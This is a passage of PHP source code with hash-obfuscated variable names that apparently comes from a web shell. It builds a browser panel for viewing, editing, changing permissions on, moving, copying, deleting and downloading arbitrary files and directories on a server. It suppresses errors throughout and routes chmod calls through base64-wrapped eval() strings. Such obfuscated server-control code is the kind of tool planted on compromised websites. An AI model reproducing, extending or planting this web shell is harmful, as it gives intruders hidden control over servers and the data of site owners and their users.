									if (!@preg_match("/^[A-Fa-f0-9]{32}$/", $_55b73f20aeec06c5111b6ba95bf29532))

										{

											$_55b73f20aeec06c5111b6ba95bf29532 = "Not Available";

										};

									$this->out("<td>" . $this->make_link("file", array("act" => "edit", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[edit]") . ' - ' . $this->make_link("file", array("act" => "delete", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[delete]") . ' - ' . $this->make_link("file", array("act" => "view", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), "[view]") . ' - <a href="' . $this->make_link("file", array("act" => "download", "name" => $_f3f7e9f4a6ad2cc07b147484d501377d), NULL, TRUE) . '" target="_blank">[download]</a> - <a href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\' title=\'' . $_55b73f20aeec06c5111b6ba95bf29532 . '\'>[MD5]</a><a id="button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="list_md5_file_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>MD5 Hash: </b>' . $_55b73f20aeec06c5111b6ba95bf29532 . '</div>' .  "</td>");

									$this->out("</tr>");

								}

							$this->out("</table>");

						break;

						case "file":

						$_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act'];

						$_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name'];

						if (empty($_2e5c25529adea7d7ad4802936aee0b48))

							{

								$this->out("<center><b>Error: no act was specified</b></center>");

								return FALSE;

							};

												if ($_2e5c25529adea7d7ad4802936aee0b48 == "view")

							{

								if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))

									{

										$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");

										return FALSE;

									};

								$_4894710f990f9bda9ef69a94d3de9a25['basename'] = @basename($_d3befca3813d65aff84c2353e705a0dd);

								$_4894710f990f9bda9ef69a94d3de9a25['path'] = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

								$_4894710f990f9bda9ef69a94d3de9a25['path'] = processdir($_4894710f990f9bda9ef69a94d3de9a25['path']['dirname']) . $_4894710f990f9bda9ef69a94d3de9a25['basename'];

								$_4894710f990f9bda9ef69a94d3de9a25['size'] = view_size(@filesize($_d3befca3813d65aff84c2353e705a0dd));

								$_4894710f990f9bda9ef69a94d3de9a25['md5'] = @md5_file($_d3befca3813d65aff84c2353e705a0dd);

								$_d2f5e3cb12e93bae6c4981faf06db693 = @posix_getpwuid(@fileowner($_d3befca3813d65aff84c2353e705a0dd));

								$_048403d36ad14f408d11cb9c81b09d29 = @posix_getgrgid(@filegroup($_d3befca3813d65aff84c2353e705a0dd));

								$_d2f5e3cb12e93bae6c4981faf06db693 = $_d2f5e3cb12e93bae6c4981faf06db693["name"];

								$_048403d36ad14f408d11cb9c81b09d29 = $_048403d36ad14f408d11cb9c81b09d29["name"];

								$_4894710f990f9bda9ef69a94d3de9a25['owner_group'] = "$_d2f5e3cb12e93bae6c4981faf06db693|$_048403d36ad14f408d11cb9c81b09d29";

								$_4894710f990f9bda9ef69a94d3de9a25['permissions'] = view_perms_color($_d3befca3813d65aff84c2353e705a0dd);

								$_4894710f990f9bda9ef69a94d3de9a25['modified'] = @date ("F d Y H:i:s.", @filemtime($_d3befca3813d65aff84c2353e705a0dd));

								$_4894710f990f9bda9ef69a94d3de9a25['created'] = @date ("F d Y H:i:s.", @filectime($_d3befca3813d65aff84c2353e705a0dd));

								$_4894710f990f9bda9ef69a94d3de9a25['accessed'] = @date ("F d Y H:i:s.", @fileatime($_d3befca3813d65aff84c2353e705a0dd));

								$this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">

	<tr>

		<td>

			<center>

			  <strong><font color=green>' . $_4894710f990f9bda9ef69a94d3de9a25['basename'] . '</font></strong>

			</center>

		</td>

	</tr>

	<tr>

		<td>

			<table width=100%>

				<tr>

					<td valign="top" width=70%>

						<div align="center"><strong>File Information </strong></div>

						<table width=100%>

							<tr>

								<td>

									Path: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['path'] . '</b>

								</td>

							</tr>

							<tr>

								<td>

									Size: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['size'] . '</b>

								</td>

							</tr>

							<tr>

								<td>

									MD5: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['md5'] . '</b>

								</td>

							</tr>

							<tr>

								<td>

									Owner|Group: <b>' . $_4894710f990f9bda9ef69a94d3de9a25['owner_group'] . '</b>

								</td>

							</tr>

							<tr>

								<td>

									Permissions: <b>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_4894710f990f9bda9ef69a94d3de9a25['permissions']) . '</b>

								</td>

							</tr>

							<tr>

								<td>

								Creation: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['created'] . '</strong>								</td>

							</tr>

							<tr>

								<td>

								Modification: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['modified'] . '</strong>								</td>

							</tr>

							<tr>

								<td>

								Access: <strong>' . $_4894710f990f9bda9ef69a94d3de9a25['accessed'] . '</strong>								</td>

							</tr>

						</table>

				  </td>

				  <td valign="top">

						<div align="center"><strong>File Actions</strong></div>

						<table width=100%>

							<tr>

								<td>

									<strong>

										' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[edit]") . '

									</strong>

								</td>

							</tr>

							<tr>

								<td><strong>' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . '</strong></td>

							</tr>

							<tr>

								<td>

									<strong>' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . '</strong>

								</td>

							</tr>

							<tr>

								<td>

									<strong>' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[copy]") . '</strong>

								</td>

							</tr>

							<tr>

								<td>

									<strong>' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . '</strong>

								</td>

							</tr>

							<tr>

								<td>

									<strong><a href="' . $this->make_link("file", array("act" => "download", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" target="_blank">[download]</a></strong>

								</td>

							</tr>

						</table>

				  </td>

				</tr>

			</table>

		</td>

	</tr>

</table>');

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod")

							{

								if (!@is_file($_d3befca3813d65aff84c2353e705a0dd))

									{

										$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");

										return FALSE;

									};

								$_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode'];

								if (empty($_4efbfa502ea6e58b84de1cdc04aecadf))

									{

										$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

										$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

										$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

										$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);

										$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); 

									}

								else

									{

										$_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf);

										$_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd);

										$_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('" . $_d3befca3813d65aff84c2353e705a0dd . "'), 0" . $_4efbfa502ea6e58b84de1cdc04aecadf . ");";

										if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE)

											{

												$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);

												$this->out("<center><b>Failed to change permissions of file. " . $this->make_link("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to file.") . "</b></center>");

											}

										else

											{

												@clearstatcache();

												$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);

												$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

												$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

												$_9074596a8e59a87e41db87f3029b4959 = basename($_d3befca3813d65aff84c2353e705a0dd);

												$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);

												$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".substr(decoct(fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); 

											};

									};

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "edit")

							{

								$this->out("<table width=100%><tr><!-- <td><a id='sqlconnectbox' href='javascript:;' onclick='itemShowHide(\"sqlconnectbox_div\", \"sqlconnectbox\")'>[+]</a><br><div id='sqlconnectbox_div' style='display: none;'>{SQL Connection Interfase}</div></td> !--><td>");

								if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))

									{

										$this->out("<center><b>Error: the file does not exist or could not be read from.</b></center>");

										return FALSE;

									};

								if (!isset($_POST['newdata']))

									{

										$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

										$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

										$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

										$this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>');

									}

								else

									{

										$_4aac6af23de22a66b42d8ba63e7fc9fe = $_POST['newdata'];

										$_4aac6af23de22a66b42d8ba63e7fc9fe = @stripslashes($_4aac6af23de22a66b42d8ba63e7fc9fe);

										$_c14f19c15d50e72a5733c0ad88a035b9 = @fopen($_d3befca3813d65aff84c2353e705a0dd, "w");

										@fwrite($_c14f19c15d50e72a5733c0ad88a035b9, $_4aac6af23de22a66b42d8ba63e7fc9fe);

										@fclose($_c14f19c15d50e72a5733c0ad88a035b9);

										$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

										$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

										$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

										$this->out("Editing file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("file", array("act" => "edit", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" enctype="multipart/form-data"><textarea id="newdata" name="newdata" rows="20" style="width:100%;">' . @htmlspecialchars(@implode("", @file($_d3befca3813d65aff84c2353e705a0dd))) . '</textarea><input type="submit" value="Save"><input type="reset" value="Reset"></form>');

									};

								$this->out("</td></tr></table>");

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move")

							{

								$_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto'];

								$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

								$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

								$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

								if (!isset($_POST['moveto']))

									{

										$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');

									}

								else

									{

										$_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51);

										if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51))

											{

												$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');

											}

										else

											{

												$_2211b5dc6bb7947adcb0bf14cee6591e = $_d0b3e9370ba342bbae976cec71233e51;

												$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e);

												$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

												$_9074596a8e59a87e41db87f3029b4959 = @basename($_d0b3e9370ba342bbae976cec71233e51);

												$this->out("Preparing to move file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d0b3e9370ba342bbae976cec71233e51), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post" enctype="text/plain"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>');

											};

									};

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "copy")

							{

								$_d4328d5d2bbd5a7a94ae0b56d6e6aade = $_POST['copyto'];

								$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

								$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

								$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

								if (!isset($_POST['copyto']))

									{

										$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');

									}

								else

									{

										$_d4328d5d2bbd5a7a94ae0b56d6e6aade = @htmlspecialchars_decode($_d4328d5d2bbd5a7a94ae0b56d6e6aade);

										if (!@copy($_d3befca3813d65aff84c2353e705a0dd, $_d4328d5d2bbd5a7a94ae0b56d6e6aade))

											{

												$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');

											}

										else

											{

												$this->out("Preparing to copy file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "copy", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="copyto" type="text" id="copyto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Copy"></form>');

											};

									};

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete")

							{

								$_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete'];

								if (!isset($_POST['confirm_delete']))

									{

										$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

										$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

										$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

										$this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>');

									}

								else

									{

										$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

										$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

										$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

										if (!@unlink($_d3befca3813d65aff84c2353e705a0dd))

											{

												$this->out("Are you sure you wish to delete file <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . $this->make_link("file", array("act" => "view", "name" => $_d3befca3813d65aff84c2353e705a0dd), $_9074596a8e59a87e41db87f3029b4959) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("file", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete file"></form>');

											}

										else

											{

												$this->out("<b>File Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));

											};

									}

							}

						elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "download")

							{

								if (!@is_file($_d3befca3813d65aff84c2353e705a0dd) || !@is_readable($_d3befca3813d65aff84c2353e705a0dd))

									{

										if (@is_file($_d3befca3813d65aff84c2353e705a0dd))

											{

												$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

												$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

											}

										else

											{

												$_2211b5dc6bb7947adcb0bf14cee6591e = "";

											};

										$this->out("Could not download file.<br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));

									}

								@header("Cache-Control: public, must-revalidate");

								@header("Content-Type: application/octet-stream");

								@header("Content-Length: " . (string)filesize($_d3befca3813d65aff84c2353e705a0dd));

								@header('Content-Disposition: attachment; filename="'.basename($_d3befca3813d65aff84c2353e705a0dd).'"');

								@header("Content-Transfer-Encoding: binary");

								@readfile($_d3befca3813d65aff84c2353e705a0dd);

								exit;

							}

						else

							{

								$this->process("file", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"));

								return FALSE;

							};

						break;

						case "dir":

							$_2e5c25529adea7d7ad4802936aee0b48 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['act'];

							$_d3befca3813d65aff84c2353e705a0dd = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['name'];

							if (empty($_2e5c25529adea7d7ad4802936aee0b48))

								{

									$this->out("<center><b>Error: no act was specified</b></center>");

									return FALSE;

								};

														if ($_2e5c25529adea7d7ad4802936aee0b48 == "info")

								{

									if ((@is_dir($_d3befca3813d65aff84c2353e705a0dd)) && (@is_readable($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR)))

										{

											$_d69e2bdf98584fc6cce9c9f9a9eb8b6a = listDir($_d3befca3813d65aff84c2353e705a0dd . DIRECTORY_SEPARATOR);

											$this->out('<table width=100% border="1" cellpadding="0" cellspacing="0" bordercolor="#000000">

								<tr>

									<td>

										<center>

										  <strong><font color=green>' . processdir($_d3befca3813d65aff84c2353e705a0dd) . '</font></strong>

										</center>

									</td>

								</tr>

								<tr>

									<td>

										<table width=100%>

											<tr>

												<td valign="top" width=70%>

													<div align="center"><strong>Directory Information</strong></div>

													<table width=100%>

														<tr>

															<td>

																Files: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['FILES']) . '

															</td>

														</tr>

														<tr>

															<td>

																Subdirectories: ' . @count($_d69e2bdf98584fc6cce9c9f9a9eb8b6a['DIRS']) . '

															</td>

														</tr>

													</table>

											  </td>

											  <td valign="top">

													<div align="center"><strong>Directory Actions</strong></div>

													<table width=100%>

														<tr>

															<td>

																<strong>

																	' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[chmod]") . '

																</strong>

															</td>

														</tr>

														<tr>

															<td>

																<strong>

																	' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[move]") . '

																</strong>

															</td>

														</tr>

														<tr>

															<td>

																<strong>

																	' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), "[delete]") . '

																</strong>

															</td>

														</tr>

													</table>

											  </td>

											</tr>

										</table>

									</td>

								</tr>

							</table>');

										}

									else

										{

											$this->out("<center><b>Directory is invalid.</b></center>");

										};

								}

							elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "chmod")

								{

									if (!@is_dir($_d3befca3813d65aff84c2353e705a0dd))

										{

											$this->out("<center><b>Error: the directory does not exist or could not be read from.</b></center>");

											return FALSE;

										};

									$_4efbfa502ea6e58b84de1cdc04aecadf = $_POST['newmode'];

									$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);

									if (empty($_4efbfa502ea6e58b84de1cdc04aecadf))

										{

											$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;

											$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); 

										}

									else

										{

											$_4efbfa502ea6e58b84de1cdc04aecadf = @intval($_4efbfa502ea6e58b84de1cdc04aecadf);

											$_d3befca3813d65aff84c2353e705a0dd = @base64_encode($_d3befca3813d65aff84c2353e705a0dd);

											$_16d3c4cdd343a37db4994c3591c83993 = "chmod (base64_decode('$_d3befca3813d65aff84c2353e705a0dd'), 0$_4efbfa502ea6e58b84de1cdc04aecadf);";

											if (eval($_16d3c4cdd343a37db4994c3591c83993) === FALSE)

												{

													$_d3befca3813d65aff84c2353e705a0dd = base64_decode($_d3befca3813d65aff84c2353e705a0dd);

													$this->out("<center><b>Failed to change permissions of the directory. " . $this->make_link("file", array("dir" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "view"), " Click here to go back to the directory.") . "</b></center>");

												}

											else

												{

													@clearstatcache();

													$_d3befca3813d65aff84c2353e705a0dd = @base64_decode($_d3befca3813d65aff84c2353e705a0dd);

													$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_d3befca3813d65aff84c2353e705a0dd);

													$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

													$_9074596a8e59a87e41db87f3029b4959 = @basename($_d3befca3813d65aff84c2353e705a0dd);

													$_13f531c0ca48f6a5f8315121bf59ffaa = file_perms($_d3befca3813d65aff84c2353e705a0dd, TRUE);

													$this->out("Changing file permissions of <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b>, " . view_perms_color($_d3befca3813d65aff84c2353e705a0dd) . " (".@substr(@decoct(@fileperms($_d3befca3813d65aff84c2353e705a0dd)),-4,4).")<br>" . '<b>Success!</b><br><form method="post" action="' . $this->make_link("dir", array("act" => "chmod", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '"><input name="newmode" type="text" value="0' . $_13f531c0ca48f6a5f8315121bf59ffaa . '" size="4" maxlength="4"><br><input type="submit" name="Submit" value="Set"></form>'); 

												};

										};

								}

							elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "move")

								{

									$_d0b3e9370ba342bbae976cec71233e51 = $_POST['moveto'];

									$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;

									if (!isset($_POST['moveto']))

										{

											$this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . @htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');

										}

									else

										{

											$_d0b3e9370ba342bbae976cec71233e51 = @htmlspecialchars_decode($_d0b3e9370ba342bbae976cec71233e51);

											if (!@rename($_d3befca3813d65aff84c2353e705a0dd, $_d0b3e9370ba342bbae976cec71233e51))

												{

													$this->out("Preparing to move directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d3befca3813d65aff84c2353e705a0dd) . '"><br><input type="submit" value="Move"></form>');

												}

											else

												{

													$this->out("Preparing to move directory <b>" . processdir($_d0b3e9370ba342bbae976cec71233e51) . "</b><br><b>Success!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "move", "name" => $_d0b3e9370ba342bbae976cec71233e51), NULL, TRUE) . '" method="post"><input name="moveto" type="text" id="moveto" style="width:80%;" size="50" value="' . htmlspecialchars($_d0b3e9370ba342bbae976cec71233e51) . '"><br><input type="submit" value="Move"></form>');

												};

										};

								}

